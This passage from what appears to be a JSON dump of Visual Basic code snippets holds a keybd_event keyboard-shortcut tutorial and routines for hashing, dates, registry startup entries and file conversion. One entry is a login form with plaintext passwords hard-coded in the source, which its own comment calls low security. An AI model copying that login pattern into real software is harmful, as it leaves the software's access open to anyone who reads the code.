see\nthe list below it changing. By the time you've punched in these 5 letters, keybd_event should be at the top of the listbox beneath it.</li>\n<li>Make sure the 'Private' option button is selected on the right</li>\n<li>Double-click the item keybd_event in the list box, or click it once and click the Add button.</li>\n<li>Click the Copy button to copy the text.</li>\n<li>Go back to your VB code window and paste the code into the form's code window.</li>\n</ol>\n \nNow that we've got that done, we can look at the code for that API call; \nPrivate Declare Sub keybd_event Lib \"user32\" Alias \"keybd_event\" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) \nIf you want to see MSDN's description again for this, click <a href=\"http://msdn.microsoft.com/library/psdk/winui/keybinpt_854k.htm\" target=\"new\">here</a>. \nMost of these descriptions you'll find at MSDN are geared to C++ programmers, particularly for the Platform SDK stuff. So, we need to translate this stuff into 'VB-English'. \nbVk is the Numeric ID for the key that we're going to get Windows to send. \nbScan - Don't need it. Just have to make reference to it, because the function depends on it. \ndwFlags - This is the placeholder for any special functions (we'll get to this later). \ndwExtraInfo - Additional value associated with the key (we don't need this one for this either)\n \nNow, we've got a situation here that needs some explaining. How are we going to covert Keystrokes into numbers(bytes) so that we can use the bVk argument to store them? \nWell, if you looked at the C++ code at MSDN just after the description for this, you probaby saw VK_NUMLOCK. VK_NUMLOCK is a constant which Windows uses as a numerical representation for the Num Lock key. The API Text viewer has a whole bunch of these, but I found a better resource on MSDN; \n<a href=\"http://msdn.microsoft.com/library/psdk/winui/vkeys_529f.htm\" target=\"new\">Check this out</a>. It's a table of all the key codes Windows knows about that work with keybd_event. \nNow, we've got to take this information and turn it into useable code. \nFirst, let's go get that Windows Key, seeming how he's the star of today's lesson. \nAbout halfway down, you're going to find VK_LWIN, described as the 'Left Windows Key'. That will work just fine. To the right of it (in the middle column), you'll see a Hex value (5B) for this constant. \nIn order to use this, we just reword it a little for the code; \nConst VK_LWIN = &H5B \nSimple enough? Good. Now, we need to get all the other keys we need\n(VK_PAUSE (the Break key), VK_SHIFT, VK_M, VK_F, VK_R and VK_E). \nYou should be able to turn those into the following code. \nConst VK_PAUSE = &H13 \nConst VK_SHIFT = &H10 \nConst VK_M = &H4D \nConst VK_F = &H46 \nConst VK_R = &H52 \nConst VK_E = &H45 \nNow take all of these constants and put them in the form's code window in our VB Project.\n(Remember to include VK_LWIN). \nNow go to the API Text Viewer and look for the Constant called KEYEVENTF_KEYUP. We need to grab that one as well, because Windows is a little *ahem* 'special' sometimes... and won't take its finger off the key unless we tell it to (to be explained later). You should get this (or close to it.... just change it to look like the others), which we have to put in the code window as well. \nConst KEYEVENTF_KEYUP = &H2 \nOk. Let's start with the basics. First, we're going to create the code to launch the Windows Explorer. \n<ol>\n<li>On your form (in design mode), put a Commandbutton and name it cmdExplorer.</li>\n<li>Double click on your groovy button to get to the click event for it in the code window</li>\n</ol>\n \nNow, add the following code to that event. \n' Send the keystroke for the left Windows Key \n Call keybd_event(VK_LWIN, 0, 0, 0) \n' Send the keystroke for the E Key \n Call keybd_event(VK_E, 0, 0, 0) \n' Tell Windows to take its finger off the Windows key :) \n Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0) \nThis code should pretty much make sense, if you look at the comments. But take a look at the last line. See we used KEYEVENTF_KEYUP as the third argument? That's one of those special instructions that MSDN was talking about. In the last line, we're not pressing a key anymore, but we're in fact releasing the key. \nPress F5 to run the program. When you click the button, you should get a new instance of Windows Explorer up on the screen. If you press WindowsKey + E on your keyboard, you should get another one. Pretty cool, huh? \nOK. We're going to cover one last one, and then I'll send you off to do the other ones. If you get stuck, or get errors, fear not! Just download the source code and compare it to what you did. I'm sure the mistake was no big deal. After all, you're a great programmer! :) \nOK, we're going to do the 'Undo Minimize All Windows' code, because that one is kind of an exception. Reason being, you have to release the Shift Key as well.\n \n<ol>\n<li>On your form (in design mode), put a Commandbutton and name it cmdUndoMinimize.</li>\n<li>Double click on your button to get to the click event for it in the code window</li>\n</ol>\n \nNow, add the following code to that event. \n Call keybd_event(VK_LWIN, 0, 0, 0) \n Call keybd_event(VK_SHIFT, 0, 0, 0) \n Call keybd_event(VK_M, 0, 0, 0) \n Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0) \n Call keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0) \nNotice how everything is pretty much the same. First, we set the Windows Key, then the Shift Key, then the M key. After that, we release the Windows Key, then we release the shift key. \nOK. Run the app, and press Window Key + M to minimize all Windows. Go to the taskbar, and click on your form so that it comes back up on the screen. Click the 'Undo Minimize All Windows' button you just created and Voila! \nNow, I'll send you out into the world to see what other cool things you can do with this. \n<a href=\"http://support.microsoft.com/support/kb/articles/Q126/4/49.asp\" target=\"new\">Here's a hint to help you get started.</a> \nWell, that's it. My fingers are tired. Download the article, steal my code. But please vote if you found this useful. \nUntil next time!\n \nNOTE: After posting this originally, Sean Gallardy was kind enough to put the declaration and ALL the Virtual Key Constants in a module for download. \n \n<a href=\"http://www.planet-source-code.com/vb/scripts/showcode.asp?txtCodeId=12642\" target=\"new\">Click here to see his article</a>.\n \nNice work Sean!"},{"WorldId":1,"id":12629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12647,"LineNumber":1,"line":"G = DownloadFile(\"UrlOfTheFileToDownload\", \"c:\\windows\\desktop\\FileName.htm\")"},{"WorldId":1,"id":12648,"LineNumber":1,"line":"Private Declare Function StrFormatByteSize Lib _\n\"shlwapi\" Alias \"StrFormatByteSizeA\" (ByVal _\ndw As Long, ByVal pszBuf As String, ByRef _\ncchBuf As Long) As String\nPublic Function FormatKB(ByVal Amount As Long) _\nAs String\nDim Buffer As String\nDim Result As String\nBuffer = Space$(255)\nResult = StrFormatByteSize(Amount, Buffer, _\nLen(Buffer))\nIf InStr(Result, vbNullChar) > 1 Then\nFormatKB = Left$(Result, InStr(Result, _\nvbNullChar) - 1)\nEnd If\nEnd Function"},{"WorldId":1,"id":12650,"LineNumber":1,"line":"Add the declarations mentioned above, then put this in when you want it to run:\nListdir (\"C:\\\")"},{"WorldId":1,"id":12651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12652,"LineNumber":1,"line":"Add The Declarations Above To A Module. Then put this whenever you want to perform the conversion:\nDim sFile As String, sShortFile As String * 67\nDim lRet As Long\nsFile = \"C:\\Program Files\\Test.txt\" 'Long File Location/Name\nlRet = GetShortPathName(sFile, sShortFile, Len(sShortFile))\nsFile = Left(sShortFile, lRet)\nText1.Text = sFile"},{"WorldId":1,"id":12653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12660,"LineNumber":1,"line":"its in the \"purose\" section =)"},{"WorldId":1,"id":12665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12680,"LineNumber":1,"line":"Public Function getHash(data As String, hashType As Integer) As String\nDim ht As Long\nDim sTemp As String\nDim sProv As String\nDim hLen As Long\nDim h As String\nDim hl As Long\n \n'get hash type\nIf hashType = 0 Then\n 'MD5\n ht = CALG_MD5\n hLen = 16\nElseIf hashType = 1 Then\n 'SHA\n hLen = 20\n ht = CALG_SHA\nElse\n getHash = \"\"\n Exit Function\nEnd If\n'--- Prepare string buffers\nsTemp = vbNullChar\nsProv = MS_DEF_PROV & vbNullChar\n'---Gain Access To CryptoAPI\nIf Not CBool(CryptAcquireContext(cryptContext, sTemp, sProv, PROV_RSA_FULL, 0)) Then\n If Not CBool(CryptAcquireContext(cryptContext, sTemp, sProv, PROV_RSA_FULL, CRYPT_NEWKEYSET)) Then\n getHash = \"\"\n Exit Function\n End If\nEnd If\n'Create Empty hash object\nIf Not CBool(CryptCreateHash(cryptContext, ht, 0, 0, hl)) Then\n getHash = \"\"\n Exit Function\nEnd If\n'Hash the input string.\nIf Not CBool(CryptHashData(hl, data, Len(data), 0)) Then\n getHash = \"\"\n Exit Function\nEnd If\nh = String(20, vbNull)\n'Get hash val\nIf Not CBool(CryptGetHashParam(hl, HP_HASHVAL, h, hLen, 0)) Then\n getHash = \"\"\n Exit Function\nEnd If\ngetHash = h\n \nEnd Function"},{"WorldId":1,"id":12682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12720,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12723,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12744,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12754,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12799,"LineNumber":1,"line":"'This is just one of the examples showing a \n'low security way to hard code form entry with \n'a username and double password entry to the form.\n'\n'\n'\nOption Explicit\nPublic LoginSucceeded As Boolean\nPrivate Sub Form_Load()\n Me.Caption = \"Monkey Login \"\nEnd Sub\nPrivate Sub cmdCancel_Click()\n LoginSucceeded = False\n Unload Me\nEnd Sub\nPrivate Sub cmdOK_Click()\nDim Pw1 As String '\nPw1 = \"monkey\" 'first password\n'check combo box for population. If nothing\n'return a msgbox dialog\nIf cmoUserName = \"\" Then\n MsgBox (\"Type a Username\")\nElse\n'Then check for first password\nIf txtPassword = Pw1 Then\n'If correct password found go to verify second\nPassword2\nEnd If\nEnd If\nEnd Sub\nPrivate Function Password2()\nDim PW2 As String '\nPW2 = \"boy\" 'second password\n'check validity of second password\n'then check if all correct, if so, load form\nIf txtPassword2 = PW2 Then\n LoginSucceeded = True\n MsgBox (\"Access granted!\")\n frmAbout.Show\n Unload Me\nElse\n'if only one password is correct and other empty\n'remind user two passwords are needed\n MsgBox \"You need both passwords to enter this program\"\nEnd If\nEnd Function\n"},{"WorldId":1,"id":12802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12866,"LineNumber":1,"line":"Function EndDateCalc(Range As String, Prev_or_Current As String, Optional FDate As Date) As Date\nOn Error GoTo Errored\nGoTo Main\nErrored:\nCall Errored_Out(Err.Source, Err.Number, Err.Description, False)\nMain:\nIf FDate <= #1/1/1900# Then FDate = Now()\nOn Error Resume Next\nReselect:\nSelect Case Prev_or_Current\nCase \"P\"\n Select Case Range\n Case \"D\"\n EndDateCalc = DateValue(Format(FDate, \"mm/dd/yyyy\"))\n Case \"W\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\")), \"mm/dd/yyyy\"))\n Case \"Wm\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\")), \"mm/dd/yyyy\"))\n If Format(EndDateCalc, \"yyyymm\") > Format(FDate, \"yyyymm\") Then\n Range = \"M\"\n GoTo Reselect\n End If\n Case \"M\"\n Err.Clear\n EndDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/31/yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/30/yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/29/yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/28/yyyy\"))\n If Err.Number > 0 Then EndDateCalc = #1/1/90#\n End If\n End If\n End If\n \nEnd Select\nCase \"C\"\n Select Case Range\n Case \"D\"\n EndDateCalc = DateValue(Format(FDate, \"mm/dd/yyyy\"))\n Case \"W\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 7), \"mm/dd/yyyy\"))\n Case \"Wm\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 7), \"mm/dd/yyyy\"))\n If Format(EndDateCalc, \"yyyymm\") > Format(FDate, \"yyyymm\") Then\n Range = \"M\"\n GoTo Reselect\n End If\n Case \"M\"\n Err.Clear\n EndDateCalc = DateValue(Format(FDate, \"mm/31/yyyy\"))\n If Err.Number > 0 Then EndDateCalc = DateValue(Format(FDate, \"mm/30/yyyy\"))\n End Select\nCase \"N\"\n Select Case Range\n Case \"D\"\n EndDateCalc = DateValue(Format(FDate + 1, \"mm/dd/yyyy\"))\n Case \"W\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 7), \"mm/dd/yyyy\")) + 7\n Case \"Wm\"\n EndDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 7), \"mm/dd/yyyy\")) + 7\n If Format(EndDateCalc, \"yyyymm\") > Format(FDate, \"yyyymm\") Then\n Range = \"M\"\n GoTo Reselect\n End If\n Case \"M\"\n Err.Clear\n EndDateCalc = DateValue(Month(FDate) + 1 & \"/31/\" & Format(FDate, \"yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Month(FDate) + 1 & \"/30/\" & Format(FDate, \"yyyy\"))\n If Err.Number > 0 Then\n Err.Clear\n EndDateCalc = DateValue(Month(FDate) + 1 & \"/29/\" & Format(FDate, \"yyyy\"))\n If Err.Number > 0 Then EndDateCalc = DateValue(Month(FDate) + 1 & \"/28/\" & Format(FDate, \"yyyy\"))\n End If\n End If\n End Select\nEnd Select\nEnd Function\nFunction BeginDateCalc(Range As String, Prev_or_Current As String, Optional FDate As Date) As Date\n'Public Domain: This code may be used and distributed freely as long as header remains unchanged. _\n'The person(s) supplying this code can not be held liable for use, misuse or damage caused by the use of this code.\n'\n'Allows calculation of Begin or End dates based upon the RANGE (Week, Month, Year), the DATE to use as the source or comparison date and PREV or CURRENT range. Examples:\n'BeginDateCalc(\"W\",\"P\",#11/15/2000#) returns: 11/5/00 as the first day or the PREVIOUS WEEK is Sunday the 5th. You could easily modify the code to allow the last day of the week to be any day you wish.\n'BeginDateCalc(\"M\",\"P\",#11/15/2000#) = 10/1/00\n'BeginDateCalc(\"M\",\"C\",#11/15/2000#) = 11/1/00\n'BeginDateCalc(\"Wm\",\"C\",#11/15/2000#) = 11/1/00 ' Wm is used to tell us Week but Month limited. Notice the same with \"W\" instead of \"Wm\" would result in 10/29/00\n'\n' Written by Chad M. Kovac\n' CEO, Tech Knowledgey, Inc.\n' GlobalReplaceCode@TechKnowledgeyinc.com\n' http://www.TechKnowledgeyInc.com\n' 10/04/00 MS Access 97/2000\nOn Error GoTo Errored\nGoTo Main\nErrored:\nCall Errored_Out(Err.Source, Err.Number, Err.Description, False)\nMain:\nIf FDate <= #1/1/1900# Then FDate = Now()\nOn Error Resume Next\nSelect Case Prev_or_Current\nCase \"P\"\n Select Case Range\n Case \"D\"\n If Format(FDate, \"w\") = 2 Then\n BeginDateCalc = DateValue(Format(FDate - 3, \"mm/dd/yyyy\"))\n Else\n BeginDateCalc = DateValue(Format(FDate - 1, \"mm/dd/yyyy\"))\n End If\n Case \"W\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") + 6), \"mm/dd/yyyy\"))\n Case \"M\"\n BeginDateCalc = DateValue(Format(FDate - (Val(Format(FDate, \"dd\"))), \"mm/01/yyyy\"))\n Case \"Wm\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") + 6), \"mm/dd/yyyy\"))\n If Format(BeginDateCalc, \"yyyymm\") < Format(FDate, \"yyyymm\") Then _\n BeginDateCalc = Format(FDate, \"mm/01/yyyy\")\n End Select\nCase \"C\"\n Select Case Range\n Case \"D\"\n BeginDateCalc = DateValue(Format(FDate, \"mm/dd/yyyy\"))\n Case \"W\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 1), \"mm/dd/yyyy\"))\n Case \"M\"\n BeginDateCalc = DateValue(Format(FDate, \"mm/01/yyyy\"))\n Case \"Wm\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 1), \"mm/dd/yyyy\"))\n If Format(BeginDateCalc, \"yyyymm\") < Format(FDate, \"yyyymm\") Then _\n BeginDateCalc = Format(FDate, \"mm/01/yyyy\")\n End Select\nCase \"N\"\n Select Case Range\n Case \"D\"\n BeginDateCalc = DateValue(Format(FDate + 1, \"mm/dd/yyyy\"))\n Case \"W\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 1), \"mm/dd/yyyy\")) + 7\n Case \"M\"\n BeginDateCalc = DateValue(Month(FDate) + 1 & \"/01/\" & Format(FDate, \"yyyy\"))\n Case \"Wm\"\n BeginDateCalc = DateValue(Format(FDate - (Format(FDate, \"w\") - 1), \"mm/dd/yyyy\"))\n If Format(BeginDateCalc, \"yyyymm\") < Format(FDate, \"yyyymm\") Then _\n BeginDateCalc = Format(FDate, \"mm/01/yyyy\")\n End Select\nEnd Select\nEnd Function\n"},{"WorldId":1,"id":12874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12889,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12990,"LineNumber":1,"line":"\nPublic Sub AddToList(ProgramName As String, UninstallCommand As String)\n'Add a program to the 'Add/Remove Programs' registry keys\nCall SaveString(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" + ProgramName, \"DisplayName\", ProgramName)\nCall SaveString(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" + ProgramName, \"UninstallString\", UninstallCommand)\nEnd Sub\nPublic Sub RemoveFromList(ProgramName As String)\n'Remove a program from the 'Add/Remove Programs' registry keys\nCall DeleteKey(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" + ProgramName)\nEnd Sub\nPublic Sub AddToRun(ProgramName As String, FileToRun As String)\n'Add a program to the 'Run at Startup' registry keys\nCall SaveString(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", ProgramName, FileToRun)\nEnd Sub\nPublic Sub RemoveFromRun(ProgramName As String)\n'Remove a program from the 'Run at Startup' registry keys\nCall DeleteValue(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", ProgramName)\nEnd Sub\nPublic Sub SaveKey(Hkey As HKeyTypes, strPath As String)\n Dim keyhand&\n r = RegCreateKey(Hkey, strPath, keyhand&)\n r = RegCloseKey(keyhand&)\nEnd Sub\nPublic Function GetString(Hkey As HKeyTypes, strPath As String, strValue As String)\n 'EXAMPLE:\n '\n 'text1.text = getstring(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"String\")\n '\n Dim keyhand As Long\n Dim datatype As Long\n Dim lResult As Long\n Dim strBuf As String\n Dim lDataBufSize As Long\n Dim intZeroPos As Integer\n Dim lValueType As Long\n r = RegOpenKey(Hkey, strPath, keyhand)\n lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)\n\n If lValueType = REG_SZ Then\n strBuf = String(lDataBufSize, \" \")\n lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)\n\n If lResult = ERROR_SUCCESS Then\n intZeroPos = InStr(strBuf, Chr$(0))\n\n If intZeroPos > 0 Then\n GetString = Left$(strBuf, intZeroPos - 1)\n Else\n GetString = strBuf\n End If\n End If\n End If\nEnd Function\nPublic Sub SaveString(Hkey As HKeyTypes, strPath As String, strValue As String, strdata As String)\n 'EXAMPLE:\n '\n 'Call savestring(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"String\", text1.text)\n '\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\n r = RegCloseKey(keyhand)\nEnd Sub\nPublic Function DeleteValue(ByVal Hkey As HKeyTypes, ByVal strPath As String, ByVal strValue As String)\n 'EXAMPLE:\n '\n 'Call DeleteValue(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"Dword\")\n '\n Dim keyhand As Long\n r = RegOpenKey(Hkey, strPath, keyhand)\n r = RegDeleteValue(keyhand, strValue)\n r = RegCloseKey(keyhand)\nEnd Function\nPublic Function DeleteKey(ByVal Hkey As HKeyTypes, ByVal strPath As String)\n 'EXAMPLE:\n '\n 'Call DeleteKey(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\")\n '\n Dim keyhand As Long\n r = RegDeleteKey(Hkey, strPath)\nEnd Function\n"},{"WorldId":1,"id":12991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13005,"LineNumber":1,"line":"Public Sub load_list_box_two(MyList As ListView, MyFile As String)\nMyList.ListItems.Clear\nMyList.View = lvwReport\nOpen MyFile For Input As #1\n \n Input #1, one$, two$\n X = MyList.ColumnHeaders.Add(, , one$)\n X = MyList.ColumnHeaders.Add(, , two$)\n Do Until EOF(1)\n Input #1, one$, two$\n X = MyList.ListItems.Add(, , one$).ListSubItems.Add(, , two$)\n Loop\nClose #1\nEnd Sub"},{"WorldId":1,"id":13006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13021,"LineNumber":1,"line":"Public Sub FileToHTML(InputFile As String, OutputFile As String, title As String, bgcolor As String, textcolor As String)\n newline$ = Chr$(13) + Chr$(10)\n Open InputFile For Input As #1\n Open OutputFile For Output As #2\n \n If title = \"\" Then title = \"No Document Title\"\n If bgcolor = \"\" Then bgcolor = \"white\"\n If textcolor = \"\" Then textcolor = \"black\"\n \n Print #2, \"<HTML>\" + newline$\n Print #2, \"<HEAD>\" + newline$\n Print #2, \"<TITLE>\" + title + \"</TITLE>\" + newline$\n Print #2, \"</HEAD>\" + newline$\n Print #2, \"<BODY bgcolor=\" + bgcolor + \" text=\" + textcolor + \">\" + newline$\n \n Do Until EOF(1)\n Line Input #1, myLine$\n Print #2, myLine$ + \" \"\n Loop\n \n Print #2, newline$\n Print #2, \"</BODY>\" + newline$\n Print #2, \"</HTML>\"\n Close #1\n Close #2\nEnd 